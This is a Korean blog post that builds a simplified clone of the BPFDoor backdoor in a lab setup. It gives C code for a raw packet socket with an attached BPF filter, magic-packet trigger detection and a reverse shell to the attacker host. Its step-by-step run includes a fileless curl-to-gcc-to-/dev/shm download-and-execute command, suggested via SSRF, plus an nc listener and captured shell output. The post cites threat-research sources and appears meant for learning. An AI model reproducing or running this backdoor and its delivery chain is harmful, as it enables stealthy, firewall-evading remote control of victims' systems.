본문 바로가기

Programming/Malware

[Malware] BPFDoor 유사 구현

BPFDoor

Berkeley Packet Filter (BPF)를 활용한 백도어 악성코드

Classic BPF의 패킷 필터링 기능을 사용

BPFDoor에서 사용하는 BPF 필터는 공격자가 단일 네트워크 패킷으로 백도어를 활성화할 수 있도록 함

대상 운영 체제에서 BPF가 구현된 방식으로 인해 방화벽에 의해 차단된 경우에도 매직 패킷이 백도어를 활성화

 

BPFDoor 유사 기능 구현

 

1. 환경

victim : Kali linux - 20.20.20.20

attacker : Windows - 10.10.10.10

 

 

2. 기본 동작

패킷 캡처 + BPF 필터링 + 트리거 감지 + 리버스쉘 오픈 구조의 BPFDoor 작성

  미니 BPFDoor
패킷 수집 방법 socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))로 모든 이더넷 패킷 캡처,
이후 BPF로 TCP 4444 필터
커널 BPF 필터 사용 setsockopt(... SO_ATTACH_FILTER, &bpf ...) 로 Classic BPF 필터 세팅 (✅)
트리거 수신 TCP 4444 + 특정 문자열 감지 (✅)
행동 개시 조건 트리거 탐지시 reverse_shell() 실행 (✅)
네트워크 스텔스성 소켓 Listen 없이 패킷 캡처만 함 (✅)
프로세스 은폐
파일 경로 은닉

 

 

3. 코드 분석

3-1. RAW 소켓 열기 

커널 네트워크 스택 통과 전, 모든 패킷을 직접 수신

socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

 

3-2. BPF 필터

IP 프로토콜 == TCP

목적지 포트 == 4444

- 필터링을 커널에서 적용하므로 성능과 은닉성이 향상

struct sock_filter bpf_code[] = {
        { 0x20, 0, 0, 0x0000000f }, // Load the IP protocol field (offset 0x0f)
        { 0x15, 0, 2, 0x00000006 }, // Check if it is TCP (0x06)
        { 0x20, 0, 0, 0x00000014 }, // Load the TCP destination port field
        { 0x15, 0, 1, 0x000011b8 }, // Check if the destination port is 4444 (0x11b8)
        { 0x6, 0, 0, 0x00040000 }, // Return 1 if matched (continue processing)
        { 0x6, 0, 0, 0x00000000 }, // Return 0 if not matched (skip packet)
};

struct sock_fprog bpf = {
        .len = sizeof(bpf_code) / sizeof(bpf_code[0]),
        .filter = bpf_code,
};

if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf)) == -1) {
        perror("setsockopt");
        close(sockfd);
        exit(EXIT_FAILURE);
}

 

3-3. 패킷 수신 대기

recvfrom(sockfd, buffer, BUFFER_SIZE, 0, NULL, NULL);

 

3-4. 트리거 magic packet 감지

if (contains_trigger_string((u_char *)buffer, numbytes))

 

 

3-5. 리버스 쉘 연결 시도

reverse_shell("10.10.10.10", 4444);

 

 

4. 실행

4-1. 악성코드가 저장된 웹 서버 오픈

attacker(10.10.10.10)
python -m http.server 8887

 

4-2. attacker에서 reverse shell 수신 준비

포트 -p 4444 로 -l listen 대기, -v 출력 자세히 

attacker(10.10.10.10)
nc.exe -lvp 4444

 

4-3. victim에서 파일리스 코드 실행

- 웹 어플리케이션의 취약점 악용을 통해 파일리스 실행 가능 (예시 : curl로 구현된 파라미터(SSRF))

- curl 명령어로 파일 다운로드 후 gcc로 컴파일하고 컴파일된 실행파일을 /dev/shm/x 에 생성

- /dev/shm은 리눅스에서 공유 메모리를 위한 디렉토리로, 디스크에 파일을 쓰지 않고 메모리에만 저장, 은닉성 높음

victim(20.20.20.20)
# curl http://10.10.10.10:8887/bpf_revshell.c | gcc -xc - -o /dev/shm/x && /dev/shm/x

 

각각 과정으로 진행 (파일 O)
curl -o bpf_revshell.c http://10.10.10.10:8887/bpf_revshell.c
gcc -o bpf_revshell bpf_revshell.c
./bpf_revshell

 

4-4. attacker에서 victim으로 trigger 패킷 전송

attacker(10.10.10.10)
python trgger_bpf.py

 

4-5. reverse shell 성공

listening on [any] 4444 ...
connect to [10.10.10.10] from TEST [10.10.10.10] 11111
uname -r
6.8.11-amd64

 

 

 

 

 

[참조URL]

https://www.trendmicro.com/ko_kr/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

 

Detecting BPFDoor Backdoor Variants Abusing BPF Filters

An analysis of advanced persistent threat (APT) group Red Menshen’s different variants of backdoor BPFDoor as it evolves since it was first documented in 2021.

www.trendmicro.com

https://attack.mitre.org/techniques/T1205/002/

 

Traffic Signaling: Socket Filters, Sub-technique T1205.002 - Enterprise | MITRE ATT&CK®

 

attack.mitre.org